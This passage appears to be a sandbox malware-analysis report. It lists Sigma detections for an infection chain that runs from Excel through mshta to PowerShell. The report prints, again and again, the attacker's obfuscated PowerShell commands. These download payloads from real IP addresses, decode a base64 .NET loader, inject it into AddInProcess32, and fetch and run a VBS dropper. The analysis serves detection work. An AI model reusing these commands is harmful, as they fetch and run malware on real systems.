[System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2988, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" , ProcessId: 3264, ProcessName: wscript.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 94.156.65.247, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 3264, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49170

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5O

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1704, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 1100, ProcessName: mshta.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2988, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" , ProcessId: 3264, ProcessName: wscript.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2988, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline", ProcessId: 3160, ProcessName: csc.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 192.185.89.92, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 1704, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2988, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\eveningfiledatinglover[1].vbs

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 94.156.65.247, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 3264, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49170

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, QueryName: ip-api.com

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49165, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 1704, Protocol: tcp, SourceIp: 192.185.89.92, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = 